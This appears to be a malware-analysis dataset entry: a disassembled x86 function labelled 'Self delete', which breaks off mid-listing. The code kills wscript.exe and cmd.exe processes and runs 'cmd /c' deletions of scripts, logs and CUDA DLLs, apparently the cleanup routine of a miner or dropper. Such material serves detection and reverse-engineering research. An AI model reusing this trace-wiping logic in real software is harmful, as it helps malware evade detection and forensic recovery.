Function at 0x42443c
Capabilities:
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 8
call fcn.0044cd28
add esp, 4
mov dword [ebp - 0x14], eax
mov edi, eax
mov esi, 0x4d792e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x42450c
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e550
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x424535
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42455b
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x42456f
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4245e2
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44d310
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4d8660]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040147a
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x42462f
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e590
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x424659
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push str.80000
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x425dcf
mov dword [0x5030e8], 1
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push 0x4d6f14
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424717
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42472a
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42474d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push str.VBS.vbs
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4247a2
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4247b5
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4247d8
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42481f
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424866
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4248ad
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4248f4
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42493b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424982
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4249c9
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424a10
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424a57
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424a9e
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424ae5
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424b2c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424b73
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424bba
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424c01
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424c48
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424c8f
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424cd6
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424d1d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424d64
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424dab
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424df2
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424e39
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424e80
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424ec7
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424f0e
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424f55
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424fc1
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424fe8
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425054
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42507b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4250e7
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42510e
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42517a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4251a1
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42520d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425234
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4252a0
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4252c7
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425333
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42535a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503090
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4253f1
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425404
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425427
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42548d
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4254a0
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4254c3
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425529
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42553c
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42555f
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503098
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4255f6
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425609
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42562c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425692
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4256a5
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4256c8
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42572e
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425741
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425764
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4257ca
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4257dd
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425800
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425866
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425879
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
